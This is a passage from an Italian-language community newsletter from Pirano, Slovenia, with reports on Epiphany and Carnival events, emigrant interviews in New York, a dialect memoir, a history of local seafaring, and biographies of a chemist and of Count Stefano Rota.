antichi nomi originari è una cosa seria. I nomi esprimono tradizione, cultura, identità che in un tempo di crisi, chissà, se riscoperti e investiti di ‘magia’ possono aiutare anche il turismo. Chi di noi da turista non ha fotografato i pittoreschi nomi delle calli veneziane o delle vie dei borghi toscani? E visitando le Cinque Terre non ha percorso la Via dell’Amore (ed ha pure pagato il biglietto d’ingresso)? Perché qualcosa di simile non dovremmo farla anche a Pirano? Immaginate di essere un curioso turista che sta progettando una vacanza in Istria, scopre attraverso Google Maps Pirano, clicca sull’omino e si ritrova in un attimo in Piazza Tartini, imbocca la Via IX Corpo d’Armata e si accorge che sotto il nome della via c’è un toponimo bello e interessante: Carrara Grande. Se è un romantico immaginerà una strada percorsa da carri e carretti, brulicante di persone e cose, che dal centro porta ai campi sul colle… poi l’omino continua il suo percorso verso il Duomo e trova la tabella Erta delle Torri, li immagina forse un castello, poi vede le mura cittadine: bellissime! Il turista è già a Pirano! E continuando con la fantasia, la passeggiata che porta dalla chiesa lungo il costone sopra il mare fino a Fiesso, potrebbe diventare la nostra Via del Mare o Sentiero delle Ginestre. Ma qui sto già fantasticando per creare un percorso turistico come piace a me! Nadia Zigante Il titolo della serata del 6 gennaio a Casa Tartini ha unito il sacro e il profano della Festa dell’Epifania le cui origini si perdono nella notte dei tempi. Da una parte la tradizione cristiana con l’arrivo dei Re Magi, coincide con la parte folcloristica e popolare, e ancora magica con l’arrivo della simpatica vecchietta, la Befana. Spetta alla Befana l’onore di concludere il ciclo delle festività natalizie, senza mai smettere di volare a cavallo della sua scopa e portare gli ultimi doni ai bambini, nella notte tra il 5 e il 6 gennaio. Ed eccole arrivare, nel rispetto della tradizione, le befane di Casa Tartini, cariche di simpatia e di sorrisi che per l’occasione hanno divertito il pubblico raccontando del loro lungo e travagliato viaggio, dei loro pesanti sacchi di ogni benedìcio, e dei regali per i vincitori della tombola in piranese a cura di Ondina Lusa. Le befane: Barbara, Dora, Lilijana e Giorgina, dopo i primi pensieri ‘dolci’ hanno introdotto il mini concerto dei giovani fratelli Amelie (Maestra Ana Zunić) e Sven Liden (Maestro Matteo Fanni Canelles) al pianoforte che ci hanno regalato pagine memorabili di Duvernoy, Czerny, Bach, Chopin, Cimarosa, Debussy e Beethoven. A introdurre gli ospiti della Festa dell’Epifania, è stato il vicesindaco del Comune di Pirano, Bruno Fonda, con il saluto di benvenuto alla vicinissima Comunità degli Italiani di Salvore e al suo presidente Silvano Pelizon. Il gruppo etnofolk “Salvore ala veciaia” (capogruppo Nadia Štokovac) insieme al gruppo musicale emergente “Istrian Boys” si sono presentati al pubblico piranese con una breve, divertente e brillante commedia dal titolo Un mondo de problemi. Uno spaccato di vita quotidiana della Salvore di un tempo, raccontata con battute esilaranti di incomprensioni ed equivoci in dialetto salvorino, con i costumi della tradizione di una cittadina del mare, sapientemente elaborati, alla musica e canzoni popolari che hanno contagiatò tutto il pubblico, unito al divertimento cantando, e con un fragoroso applauso di arrivederci, al prossimo incontro e scambio di ospitalità. Daniela Sorgo email@example.com All’insegna dell’allegria L’esibizione del gruppo “Salvore ala veciaia” assieme agli “Istrian Boys”. A destra: l’intervento del vicesindaco Bruno Fonda (in alto) e Amelie Liden al pianoforte (foto: Archivio CI Pirano) Il Carnevale è un appuntamento tradizionale che la nostra Comunità ama festeggiare annualmente organizzando laboratori, mostre, incontri e dal 2003 promuove pure il Gran Ballo di Carnevale al teatro Tartini. La XIV edizione si è svolta sabato 6 febbraio 2016, è stata resa possibile grazie al patrocinio del Comune di Pirano, alla collaborazione dell’Avditorij di Portorose ed il sostegno del centro alberghiero Life Class di Portorose. Al Gran Ballo di Carnevale le maschere più interessanti e originali vengono selezionate e poi premiate da una giuria composta da esperti in vari campi. Quest’anno era composta da: Irena Dolinšek, Ubald Trnkoczy e Federica Cossich. I premi assegnati vengono offerti da moltissimi sponsor, che vogliamo in questa occasione pure ringraziare: negozio di tessuti Klara di Lucia, Print & design studio Nemarnik, Agraria Koper-Capodistria, Komunala Koper, Vinakoper, Zaro Isola, Dagal, pizzeria Rustica Portorose, Cantina del pescatore Veznaver, pasticceria Klasika Auditorio Portorose, pasticceria Maja Lucia, Javorka Križman Pirano, Hotel Piran, cvetličarna & design Portorose, Dragan Klarica. Come ogni anno, la giuria ha conferito vari premi in tre diverse categorie: maschera singola, coppia e gruppi. Nelle singole categorie sono stati premiati: per la categoria maschere singole: Primavera Slovenia europea La scrivana piranese per la categoria coppia di maschere: Frida Kahlo & Diego Rivera Pino & Pia Mlakar Marge & Homer Simpson per la categoria gruppi: Domenico Tintoretto Apioltori, api e miele sloveno Pirati La giuria inoltre conferisce pure un premio speciale, la Maschera d’oro, lavoro di Loredana Musizza dell’Atelier Lory Masks di Parenzo. Quest’anno la Maschera d’oro è andata al gruppo Domenico Tintoretto. Alla realizzazione del Gran Ballo di Carnevale contribuiscono molte persone, che grazie al loro impegno e alla loro costanza fanno sì che la manifestazione riesca nel miglior modo possibile. In questa occasione desidero pertanto ringraziare tutti coloro che ci hanno aiutato. Innanzitutto un grazie a Federica Cossich, allieva del terzo anno del Ginnasio “Antonio Sema”, che ha realizzato il manifesto per la serata e la scenografia. Voglio inoltre ringraziare gli allievi della quarta classe del Ginnasio “Antonio Sema”: Serena Protić, Giorgio Rosso, Luna Bisaki, Chiara Rihter, Marko Žiber e Sabrina Curavić che hanno lavorato alle decorazioni del teatro per la manifestazione. Un ringraziamento sentito va a Mariela Lovrić Petrić, Wilma Zacchigna, Eva Amanda Pocecco che ci hanno aiutato e ci hanno fatto compagnia. Un grazie pure a Lia Grazia Gobbo per le riprese fotografiche ed a Liliana Stipanov per esserci stata vicina durante i lavori e per il trucco e parrucco. E per finire un grazie particolare ad Adriana Cah per l’aiuto nelle decorazioni e per il lavoro di guardarobiera durante il ballo. Vorrei concludere esprimendo riconoscenza pure a tutte le maschere che hanno partecipato rallegrando con la loro presenza il teatro Tartini, con l’augurio di rivederci l’anno venturo… prima di concludere anticipo che il tema del prossimo Gran Ballo di Carnevale sarà Il circo! Fulvia Zudić DEL CARNEVALE RICORDO L’ODORE DEI CROSTOLI... (RICETTA DI ANITA DESSARDO) 1 kg di farina 0,20 dg margarina 6 uova (soltanto 3 albumi) 1 bicchiere di vino bianco 2 cucchiai di zucchero e un po’ di sale dopo fritti cospargerli di zucchero a velo Preparazione Mettere la farina in una terrina, aggiungere lo zucchero e le uova, a parte sciogliere la margarina e il sale, aggiungere il vino, impastare, la pasta deve essere un po’ dura. In seguito stenderla fine e sottile, con il matterello oppure con la macchina per la pasta. Quando sono pronti per friggerli togliere la farina altrimenti l’olio diventa nero. ... garantisco che sono buoni! Tradizione e fantasia Maschere “Al tempo di Tartini” In alto: Le coppie mascherate premiate In basso: Gli amici del gruppo folcloristico in maschera “Folclore Serenade” del Carnevale di Muggia (foto: Lia Grazia Gobbo) Conterranei negli Stati Uniti ‘MARENDE’ E ‘CIACOLE’ A NEW YORK A colloquio con alcuni istriani residenti nella Grande Mela Durante una recente visita a New York ho avuto modo di incontrare alcuni esuli rappresentanti delle Associazioni dei Giuliani nel Mondo. In un primo incontro ho conosciuto il sig. Ellis Tommaseo, delegato dell’Associazione Giuliano-Dalmati nel Mondo di New York, trasferitosi da Trieste poco più di 10 anni fa e ormai completamente inserito nel tessuto della Grande Mela. Egli risiede a Long Island dove vive con la moglie e due meravigliosi bambini. Mi ha raccontato con entusiasmo che le sue radici provengono da Montona e Buie. Il fulcro della conversazione ruotava attorno al mio interesse di capire quanti sono veramente gli ‘Istriani’ a New York e quali sono le modalità di ritrovo e, quali, se ve ne sono, le attività che vengono organizzate. Tommaseo mi ha spiegato che non vi è una vera e propria comunità di Istriani esuli a New York. Per quanto riguarda la comunità degli emigrati dalle zone giuliane e istriane, particolarmente importante è la giornata del ricordo, un evento solenne che viene celebrato presso il consolato italiano a New York il 10 febbraio di ogni anno. Questo evento, organizzato in collaborazione con il Consolato italiano e con l’Associazione dei Giuliani nel Mondo del New Jersey, è l’occasione in cui si riuniscono le famiglie di origine istriana e giuliana e che riesce ad ottenere la partecipazione di una settantina di persone. La maggior parte delle famiglie di istriani presenti a New York, racconta ancora Tommaseo, proviene dalle zone di Albona. L’incontro è durato il tempo di una marendà presso l’Osteria del Principe, luogo diventato di culto per i provenienti dalle zone vicino a Trieste. Si tratta, infatti, di un ristorante gestito da due soci triestini, Max e Carlotta, già ristoratori nella città mitteleuropea e sbarcati a New York due anni e mezzo fa. Il ristorante si trova a pochi passi dal famoso Flatiron Building (ferro da stiro), sulla 23esima strada. Il posto è l’unico a Manhattan in cui poter trovare, oltre ad altri piatti della cucina italiana settentrionale, la tartina di prosciutto cotto e cren, il gulasch e la ‘nostra’ jota. Nello stesso locale ho incontrato un altro ‘emigrato’ triestino, Stefano Meton che lavora presso il Consolato italiano a New York. Trasferitosi con la famiglia quando aveva 14 anni ha frequentato le scuole superiori e l’università nel New Jersey. È ancora molto legato alla sua città natia e ha voluto condividere un sacco di aneddoti e ricordi divertenti. Anche lui si occupa dell’organizzazione della giornata del ricordo e inoltre cerca di creare relazioni con le generazioni di giovani discendenti da istriani e triestini per fargli capire, anche solo in parte, il legame con le loro terre di origine. Purtroppo, è cosa naturale, le generazioni dei discendenti di emigrati nati in America, non possono sviluppare un senso di attaccamento alle zone d’origine dei loro genitori. Ma ciò non pregiudica il fatto che tutti conoscano bene il dialetto istroveneto e lo utilizzino correntemente in famiglia. L’incontro si è concluso con un’idea, quella di organizzare un viaggio in Istria e a Trieste per i giovani delle famiglie di emigrati giuliani ed istriani, dando loro la possibilità di visitare, toccare con mano e vedere personalmente i luoghi da cui provengono i loro nonni o genitori. Times Square è il centro nevralgico della metropoli americana, e se vogliamo del mondo, il luogo migliore dunque per incontrare una persona veramente unica e speciale, come il Presidente dell'Associazione Giuliani nel Mondo del New Jersey, Eligio Clapich di Fiume. Un signore in pensione, che però è più attivo che mai e ha un'energia vitale impareggiabile. Una conversazione con un personaggio simile potrebbe durare giorni interi, purtroppo il tempo era ridotto ad un pranzo in un bel ristorante nei pressi dei famosissimi teatri di Broadway. Il sig. Clapich ha vissuto la sua vita in modo molto intenso e, come detto da lui, con molti sacrifici, ma senza alcun rimpianto. Andato via da Fiume, poco più che bambino, nel 1946 per trasferirsi a Brindisi e da lì, a metà degli anni '50, a New York. Mi ha spiegato che negli anni dell'esodo era molto più difficile arrivare in America rispetto al Canada o all'Australia dato che era necessario il visto. Motivo per cui, ha aggiunto, a Toronto c'è una comunità di giuliani molto numerosa e attiva. La prima volta che è ritornato nella sua città era nel 1977, trovandola davvero molto cambiata rispetto a come la ricordava da bambino. Matematico, ingegnere, ha lavorato per il governo americano e nel campo delle telecomunicazioni. Ha viaggiato moltissimo girando il mondo. Il suo dialetto istroveneto però è perfetto, non fa una piega, infatti, mi ha raccontato dopo, egli torna regolarmente a Trieste, a cui è molto legato. Clapich è sempre attivo nel mantenere i contatti con tutte le altre comunità di italiani nel mondo, e partecipa sempre ad incontri. Per questo ci siamo salutati con la promessa di incontrarci presto nelle nostre terre, magari per presentare le attività reciproche ed iniziare una proficua collaborazione tra i due lati dell'Oceano. Andrea Bartole --- **EL MOL DE STRUGNAN** **RICORDI** De picia stavo co' mama e papà a l'Antenal a Strugnan. Stiamo int'una caseta a do metri del mar. Me recordo che me papà veva una granda passion de 'ndà al mol ciapà le sepe co' la fossena. Se iera bavisela e se vedeva poco, el me ciavava de portàgh le fiascheta de oio pe' schissà in aqua pe' vedi meo. Conossevo l' mol sai bem. La prima parte iera fata in piera che la xe 'ncora, la seconda parte iera fata in legno pe' poder costà le barche. D'istade iera al mol sai movimento, verso sera iera duto un cori de careti co'i musseti che portava fruti e verdure. Al mol i campagnoi i se serviva de le barche che rivava de "Itala" che portava i bagnanti de Trieste e verso sera tornava cioli. Int'el vaporeto iera l'omo co' el careto de i gilari che noi fioi co' pochi centesimi se cioleva una baleta. Xe rivada la seconda guera che ga portado i tedeschi. Pe' sicuressa i ga scur-tado un bel toco de molo in legno ciò che no possa costà barche grande. Finida la guera xe rivada la pase che se ga portado via quel che restava del mol de legno. Xe restado quel mol in piera che servì solo ai bagnanti. Povero mol de Strugnan no ti ga vudo fortuna, forsi vegnarà meo tenpi e qualchedun penserà a ti. Nella Nemec “Ripristino e salvaguardia delle tradizioni marinare a Pirano” PAGINE DI STORIA RIVISTE CON MARIO BONIFACIO LA VITA SOCIALE DEI MARITTIMI PIRANESI FINO AGLI ANNI ‘50 DELLO SCORSO SECOLO Una svariata tipologia d'imbarcazioni ed un numero importante di marittimi hanno caratterizzato per molti secoli la vita a Pirano. Per secoli la navigazione ha segnato i destini della nostra gente. Mario Bonifacio nasce a Pirano nel 1928 in una famiglia nominata nelle fonti storiche fin dal XIII secolo, uomini che per più generazioni si sono occupati di marine-ria e commercio. Mario ha frequentato la scuola elementare a Pirano e poi l'Istituto nautico a Trieste. Ama il mare, la sua Pirano e la ricerca storica. L'impegno per una giustizia sociale lo porta ad essere attivo nella Resistenza come antifascista. Le sue ricerche sulle tradizioni marinare a Pirano sono state pubblicate su varie riviste. Ha collaborato con l'Istituto regionale per la storia del movimento di liberazione nel Friuli Venezia Giulia, dove ha pubblicato la sua monografia La seconda resistenza del CLN italiano a Pirano d'Istria 1945-1946. Lo scorso 19 febbraio a Casa Tartini, Mario Bonifacio ha incontrato un pubblico numeroso ed attento nel seguire le vicende storiche della marinieria di Pirano. Nei secoli XV e XVI a Pirano vigevano le leggi della politica economica veneziana, le famose ducali dovevano venir ascoltate e seguite, eppure la marinieria piranese già allora organizza una protesta, abbiamo movimenti di lotta dei popolari contro i privilegi degli aristocratici. Nell'epoca napoleonica a Pirano si contano circa 446 marinai, inoltre nella relazione di Bargnani si legge che a Pirano agli inizi dell'Ottocento c'erano 15 brazzere di commercio, 44 brazzere di pescagione e 30 brazzere per altre derrate. Questo era solo l'inizio, con la macchina a vapore aumentano i proprietari di natanti. Mario Bonifacio ci elenca i nomi dei moto-velieri e dei proprietari. Le immagini delle cartoline della fine del XIX secolo ci mostrano un porto piranese ricchissimo di trabaccoli, brazzere, battane, ormeggiate in doppia fila, questo accadeva solo per le grandi feste come Natale o Pasqua. Le imbarcazioni piranesi erano sempre in mare, trasportavano continuamente merci di tutti i generi: silicio a Murano-Venezia che serviva per produrre il vetro, i mussoli da Pirano venivano esportati fino a Cosenza, dalla Puglia si portava il vino buono, 'in Sdobba' - alle foci dell'Isonzo - i piranesi, con un badilon particolare caricavano il natante di sabbia e la trasportavano dove veniva richiesta. Ci si muoveva con barche da 10 o 15 metri (anche barche più grandi) a remi a vela o a motore, andare da Pirano a Grado con i remi e la vela era cosa da poco per i marittimi di Pirano. Certamente gli incidenti in mare non mancavano, anche se tutti erano ottimi meteorologi, bravi a prevedere i venti e le maree, più di una famiglia piange un proprio caro disperso in mare. La presenza degli ex voto nella chiesa di Strugnano e al Museo del mare "Sergej Mašera" di Pirano ci illustrano gli imprevisti che hanno fatto perdere la vita a tanti marittimi. Agli inizi del Novecento troviamo già molti piranesi marittimi imbarcati sui vapori e navi che venivano costruiti anche a Trieste. Per questo motivo tale categoria è poco presente nella vita politica della cittadina. Ma è presente nella vita sociale: su iniziativa del concittadino Spadaro, nel 1911, si costituisce una "Società di mutua assicurazione delle barche a piccolo cabotaggio di Pirano", una anticipazione di quello che sarà otto anni dopo il "Consorzio marittimo". La Grande guerra mise fine a quel lungo periodo di pace, di progresso, di sviluppo civile che fu la 'Belle époque' i cui postumi segnarono anche il Novecento. La tragedia della prima guerra mondiale colpì duramente la comunità piranese con lutti, privazioni, fame e disgregazione. Tanti della generazione di Bonifacio conservano ancora la memoria delle testimonianze orali di chi ebbe la sventura di vivere in quel periodo. Un gran numero di marittimi, soggetti alla leva in massa (Austria 1914), fu destinato a combattere sui Carpazi, in Galizia, sul fronte serbo o finirono in Romania. Molti piranesi prigionieri in Russia, furono testimoni delle due rivoluzioni del 1917. Altri nella marina da guerra parteciparono alla rivolta di Cattaro, nel febbraio del 1918. Questi avvenimenti contribuirono a cambiare pro- I partecipanti all'incontro Da sinistra: Ksenija Petaros Kmetec, Mario Bonifacio, Amalia Petronio e Vinko Oblak (foto: Lia Grazia Gobbo) fondamente la mentalità ed i comportamenti individuali e sociali dei nostri marittimi. Non solo, si verificò uno spostamento della collocazione politica dei piranesi, infatti nelle elezioni politiche del 1921 i socialisti ottennero il 47% dei voti, seppure in presenza delle violenze squadriste. Gli orientamenti politici del ceto marinarese si riflettono sui nomi delle barche: brazzera “Proletaria” di Giovanni Fragiacomo, brazzera “Carlo Marx” di un altro Fragiacomo, brazzera “Lenin Vittoria” di Antonio Poropat, pielago “Libero pensiero” di Giovanni Giurco, e così via. Alla fine della guerra la flotta piranese (che nel 1910 contava 161 barche di piccolo cabotaggio) si trovava in condizioni disastrose. Le barche erano state confinate nei fiumi delle saline, per anni senza manutenzione. Una trentina di barche era stata requisita dalle autorità militari austriache, che nella laguna, attraverso i canali interni da Grado a Cortellazzo, assicuravano i rifornimenti alle truppe sul Piave. Sei andarono perdute, mentre le altre rimaste ritornarono in pessime condizioni. Ma i marittimi appena tornati a casa si adoperarono al massimo per rimettere le loro barche in efficienza. Nella categoria regnava la miseria, lavoro non c’era. Ma con la pace c’era la speranza di tempi migliori, i nostri marittimi costituiscono, nel 1919, il “Consorzio marittimo”, che tutelò i loro interessi nei trenta anni successivi ed ebbe oltre 400 soci. La ripresa della marineria piranese fu lenta e graduale, nel 1920 venivano acquistati i trabaccoli “Anna Buona Madre”, “Emilia” e “Fratellanza”, ai quali seguirono una trentina di altre barche. Nel decennio a venire si estese a tutte le barche la sistemazione del motore ausiliario. Quindi, cambia il modo di andare per mare, non più solo a remi e vela. Il fascismo non ebbe mai il consenso dei marittimi, salvo più tardi quello dei giovani educati nelle scuole dell’epoca. Una sola barca ebbe nome fascista, il “Littorio”, il cui armatore era conosciuto come comunista. Con la ripresa dei traffici marittimi internazionali e con il declinare dei lavori della sabbia ‘in Sdobra’, molti marittimi dovettero assoggettarsi all’imbarco sulle navi. E non solo come personale di coperta, anche sulle navi passeggeri tra il personale da camera e di cucina. Questi ‘imbarcati’ avevano un rapporto di lavoro di stretta dipendenza gerarchica, erano stipendiati, un rapporto che non aveva niente a che fare con quello tradizionale ancora esistente sui velieri piranesi. Infatti, di solito il guadagno ottenuto per un nolo veniva diviso equamente tra il capitano o capobarca ed i tre marinai dell’imbarcazione. Tra i marittimi piranesi c’era molta solidarietà. Negli anni Trenta la marineria piranese sopravvisse alla crisi grazie al contrabbando; inoltre viene introdotto il turismo da crociera; tre o quattro barche, d’estate portavano in crociera in Istrià e Dalmazia 20-25 turisti. Barche pitturate di bianco, ben curate, con un casotto adibito a gabinetto e la stiva divisa con tramezze per ricavare delle cabine. In questo periodo la flotta di motovelieri piranesi era invidiata da tutto l’Adriatico. Per i motovelieri piranesi non mancavano lavori e anche buoni noli, specie verso la Dalmazia, l’Albania e la Grecia. Altra catastrofe fu la seconda guerra mondiale. Nel 1941 iniziarono le requisizioni da parte della Marina militare italiana delle barche migliori per essere utilizzate per i trasporti fino in Libia. Diverse di queste barche furono vendute per pochi soldi in quanto erano ben scarse le speranze di una restituzione. Con l’occupazione tedesca, la gestione delle barche (compresi i barchini dell’incavo) addetti al trasporto del sale dalle saline ai grandi magazzini del monopolio) fu assunta da un’organizzazione germanica, avente sede a Trieste, chiamata “Mittellmeer”, che assicurava i viveri alla popolazione, ma anche potere, la categoria dei marittimi esercitò una funzione trainante. Furono proprio questi, dopo che per tre giorni la popolazione tutta era rimasta senza pane, a proporre al CLN e poi a realizzare i viaggi di scambio – sale con grano e altre vettovaglie – con il Friuli e con la costa veneta. Questa iniziativa permise di rifornire di granaglie anche i paesi vicini. Erano iniziati nuovamente i viaggi lungo l’Adriatico tanto che il “Consorzio marittimo” propone agli armatori delle barche superstiti di aumentare di uno o di due marinai l’equipaggio, che da sempre era composto da quattro persone, per dar modo ai tanti marittimi a terra di partecipare ai guadagni. Fu una buona prova di solidarietà della categoria. Purtroppo nei pochi mesi estivi del 1945, quella che era stata una liberazione si trasformò in una pesante occupazione. Per la gestione dei trasporti marittimi l’amministrazione militare jugoslava aveva creato l’agenzia “Agmarit” e di conseguenza venne proibita al “Consorzio Marittimo” l’attività del noleggio delle proprie barche, ciò significava la sua fine. Pochi motovelieri sopravvissero. Le comunicazioni con Trieste vennero soppresse, questo fu il colpo di grazia per i marittimi piranesi, da sempre legati alla città per gli imbarchi, i noli, il lavoro. In massa lasciarono Pirano. Una serie d’immagini della Pirano di un tempo, commentate da Mario Bonifacio, da Ksenija Petaros Kmetec e da Vinko Oblak hanno reso la serata ancora più interessante. L’incontro da me citato rientra nel progetto della Comunità autogestita della nazionalità italiana di Pirano: “Ripristino e salvaguardia delle tradizioni marine a Pirano”. Ringrazio tutti coloro che hanno contribuito alla riuscita della serata a Casa Tartini. Amalia Petronio Pirano i primi mesi dopo la liberazione furono, pur tra ristrettezze e difficoltà, vissuti in un clima di libertà e di speranza nel futuro, garantiti dall’autonoma amministrazione locale da parte del Comitato di Liberazione Nazionale (CLN), formato dai rappresentanti di tutti i partiti. Qualcuno parlò allora di una ‘repubblica piranese’. Il passaggio da questo clima alla realtà dell’occupazione militare jugoslava fu graduale, ad iniziare dalla fine di agosto, con accentuazioni costituite dall’introduzione della nuova moneta, la ‘jugolira’, dalla separazione, per noi impensabile, della nostra economia da quella triestina, e dall’inizio della campagna per l’adesione alla Jugoslavia’, che si concluse con l’estromissione del CLN nel febbraio 1946. Fu ancora in una prospettiva di libertà che nell’ottobre del 1945 si formò un ‘Comitato provvisorio per un Circolo di Cultura di Pirano’. Il comunicato che ne da notizia alla cittadinanza reca la firma di 19 cittadini, in gran parte giovani, di tutte le tendenze politiche o apolitici, vero CLN della cultura. Il volantino che ne illustra le finalità porta i nomi dei promotori e ne stabilisce le competenze, è stato conservato da Guido La Pasquala, che successivamente, fino al 1955, fu uno dei docenti del Gin- nasio di Pirano e, dopo l’esodo, fu docente nei Licei di Trieste. Compirà 90 anni in questo 2016: vivissimi auguri. Ma col declino dell’iniziale libertà il Circolo ebbe breve vita. Una delle sue primissime iniziative ebbe un particolare successo e venne spesso ricordata. Era ancora viva l’impressione per il lancio delle bombe atomiche a Hiroshima e Nagasaki, per la loro incredibile potenza distruttiva e per le prime notizie sulle conseguenze delle radiazioni. Era da poco rientrato dal sud Italia il concittadino Mario Fragiacomo ‘Garbo’, studente di chimica, del quale era ben nota la passione scientifica. Egli si assunse il compito di una conferenza divulgativa dei principi di funzionamento di quella tremenda arma. La conferenza venne tenuta al teatro Tartini, gremito ed ebbe un vivo successo. Era tale la conoscenza e padronanza della materia da parte di ‘Garbo’ e la sua capacità di chiarire anche i concetti più difficili, che si uscì dal teatro convinti che anche le persone più digiune di fisica avevano completamente compreso cosa era e cosa poteva significare l’energia atomica. Mario Fragiacomo (del ramo dei ‘Garbo’) era nato nel 1920 in una famiglia di marittimi e salinari che abitava nell’allora via Combi (ora via Ivan Bidovec) vicino alla farmacia Lion. Aveva un fratello minore di un paio d’anni, Antonio (Toni ‘Garbo’) che fu sempre un marittimo. Mario, di grande intelligenza e portato allo studio frequentò la libera scuola del maestro Sema. Fu un tipico risultato espresso da quella durissima scuola. Luglio 1936, Diploma di abilitazione Magistrale conseguito a Trieste; agosto 1937, Maturità classica sempre a Trieste; ottobre 1937, incarico di insegnante elementare, a Corridico di Antignana (Kringa). Era quasi la norma che gli studenti del maestro Sema, per lo più di famiglia povera, acquisissero anche il diploma magistrale per avere subito uno stipendio e non gravare sulle famiglie per la continuazione degli studi all’Università. Nel 1938 Mario si iscrisse alla Facoltà di Chimica Industriale dell’Università di Bologna, mentre nel dopoguerra passò a quella di Padova. A Corridico il diciassettenne maestro si trovò ad insegnare ad alunni croati. Non si spaventò ed adottò una soluzione che era l’opposto di quella imposta dal fascismo: in breve tempo imparò il serbo-croato. Aveva un’eccellengli Alleati. Qui fu utilizzato dagli inglesi quale interprete nel collegamento con le forze del nuovo esercito italiano in preparazione nell'Italia liberata, il Corpo Italiano di Liberazione. Dopo il ritorno a Pirano riprese i suoi studi di chimica. Era un giovane estremamente gioiale, sempre sorridente, amico di tutti. Certamente inserito nella cerchia degli studenti universitari piranesi, ma anche dei non studenti, sempre a suo agio con tutti. Con una particolarità. Allora in paese erano esclusi i rapporti con i più giovani, una differenza di età di tre anni rappresentava una barriera insormontabile. Questo non per Mario che aveva amici anche di dieci anni più giovani. Da vero piranese non sfoggiava la sua cultura e le sue doti intellettuali, era sempre estremamente modesto. Il detto "chi se loda se imborda" era come un undicesimo comando per i piranesi. I quali però, anche i più ignoranti, avevano altissima considerazione per gli uomini di cultura, onorando il verso dell'Inno all'Istria che recita: "qui il sapere ebbe culto ed onor". Altra sua caratteristica era la grande fiducia nell'aiuto dei piranesi. Circolava allora una storiella su Mario. Che nel corso dei tanti disagi evasi spostamenti tra Padova e Pirano suona ad un appartamento di piranesi a Trieste ed alla padrona che gli apre dice: "Bon giorno signora, son Mario Garbo de Piran e go bisogno de lavarme i piedi"... Nel 1949 con una borsa di studio fu uno dei primi studenti a frequentare università americane e studiò presso il prestigioso MIT Massachusetts Institute of Technology di Boston, la più importante università scientifica degli USA. Si laureò nel 1950 e venne subito assunto dalla Montecatini quale ricercatore presso la 'Idrocarburi Ferrara'. Nel 1953 venne trasferito sempre come ricercatore presso l'Istituto scientifico Donegani dove fu poi capo del servizio brevetti. Si sposò nel 1957 con Germana Roboni di Ferrara e nel 1959 nacque il primo figlio Guido. Nella seconda metà degli anni '50 ci vedevamo spesso in quanto io lavoravo in provincia di Novara nel cantiere di Arona della Società di Navigazione Lago Maggiore ed alla domenica talvolta veniva in gita sul lago. In quel periodo arrotondava lo stipendio traducendo in inglese riviste scientifiche russe per conto di una università americana. Dopo il mio trasferimento a Venezia, nel 1961, ci si vedeva soltanto d'estate a Pirano, dove portavamo i nostri figli a fare i bagni. Negli anni '70 ebbi spesso sue notizie da un mio confinante, il dott. Piero Talamini, direttore dei laboratori scientifici del grande stabilimento chimico di Porto Marghera. Mi parlava con entusiasmo di Mario che definiva un grande scienziato, "una gloria del tuo paese". Allora Mario era presidente del comitato scientifico di redazione dell'Enciclopedia della chimica pubblicata dalla UTET. Scrisse anche oltre un centinaio di cartelle per l'Enciclopedia del petrolio. Inutile elencare le sue pubblicazioni scientifiche ed i suoi brevetti tutti con titolazioni astruse per i non iniziati. Un paio, quale esempio: Preparazione di dimetil tereftalato da p-xilene, o Studio polarografico sull'azobenzene e sull'idrazobenzene. Nel 1962 e 1963 fu inviato dal CNR italiano alle conferenze dell'ONU a Ginevra sull'applicazione della scienza e della tecnica nei paesi poco sviluppati. Morì prematuramente nel settembre 1982, a 62 anni. Un figlio di Pirano che con la sua opera ha certamente onorato il nostro paese. Una nota postuma: il figlio Guido, industriale chimico, ha dato il nome 'Garbo' alla sua azienda: bell'esempio di attaccamento alle radici e di onorare il padre. Mario Bonifacio Ricorrere quest’anno, esattamente l’11 maggio, il centenario della morte di una tra le più illustri personalità piranesi dell’Ottocento: il conte Stefano Rota. Figura poliedrica e ricca di interessi, egli ricoprì nella città di San Giorgio diversi incarichi. Sicuramente quello più significativo e per il quale gli dobbiamo i maggiori meriti riguarda la sistemazione e la conservazione dell’Archivio municipale e della Biblioteca civica¹, dove fu attivo tra l’ottobre 1855 e il gennaio 1896. Egli è stato l’ultimo discendente in linea maschile del ramo piranese dei Rota, conti di Momiano, che ha avuto inizio nel Seicento dalla figura di Giovanni Paolo². Anche se oggi non rimangono, purtroppo, tracce visibili e riconducibili alla loro presenza in città - ad eccezione nel cimitero della tomba di famiglia -, i Rota, come vedremo, sono stati presenti e disposerono di diverse proprietà a Pirano fin dal lontano XVII secolo. È molto curioso il fatto che dopo neanche un secolo dalla morte di Stefano Rota il luogo del suo palazzo di residenza sia stato dimenticato. Neppure i discendenti, che ormai vivono lontano da Pirano, conoscevano il sito esatto della casa. L’unico loro ricordo tramandato in famiglia ci dà un piccolo indizio, ovvero che dalle finestre della casa Rota si poteva ammirare il mandracchio e il mare. Questo è stato l’input che mi ha incuriosita e avendo avuto la possibilità, oltre che il piacere e l’onore di sistemare e inventariare quello che è stato l’archivio privato di Stefano Rota e dei suoi predecessori, non mi è stato difficile attingere a molteplici informazioni che ci permettono ora di capire meglio in quali rioni di Pirano visse e operò la nobile famiglia³. Anche se Simone I Rota, il capostipite della famiglia e acquirente del castello di Momiano nel 1548 visse un periodo a Pirano⁴, e qui sembrerebbe si sposò pure con Adriana Venier, non ebbe proprietà nella cittadina. Sia nel suo testamento sia in quello del figlio Orazio non appaiono, infatti, tra le loro diverse acquisizioni beni collocati in zona⁵. I contatti con la città di San Giorgio dovettero però essere frequenti, perché sia Orazio sia i suoi figli, Adriano e Simone II, si sposarono con fanciulle di illustri famiglie piranesi. Adriano, infatti, sposato in prime nozze con Faustina Apollonio e volendo legalizzare la sua unione con Francesca Amoroso, detta testamento citando diverse proprietà a Pirano: olivi, vigne e in particolare una “casa grande in Marchana”. Il fratello di Adriano, Simone II, non segnala nel suo testamento abitazioni a Pirano, ma da altri documenti si apprende che la suocera Caterina Zane gli lasciava la sua “camera grande sopra il portego posto in Marzana”. Sarà con uno dei figli di Simone II, il già citato Giovanni Paolo, che avrà inizio un legame più stretto con la nostra cittadina. Egli concentrerà le sue proprietà immobili nella zona di “contrà Mol piccolo”, luogo che oggi corrisponde grossomodo al retro dell’albergo “Tartini” e alla zona del parco posto accanto a palazzo Gabrielli, sede del Museo del mare. Purtroppo, come vedremo, di queste case abbiamo solamente delle sommarie indicazioni e siccome non disponiamo di schizzi, di informazioni con quali realtà confinassero, risulta molto difficile capire dove esse fossero situate e quali fossero le loro sembianze. Difficile risulta pure comprendere i vari passaggi di acquisti e vendite, ma questi sono tutti 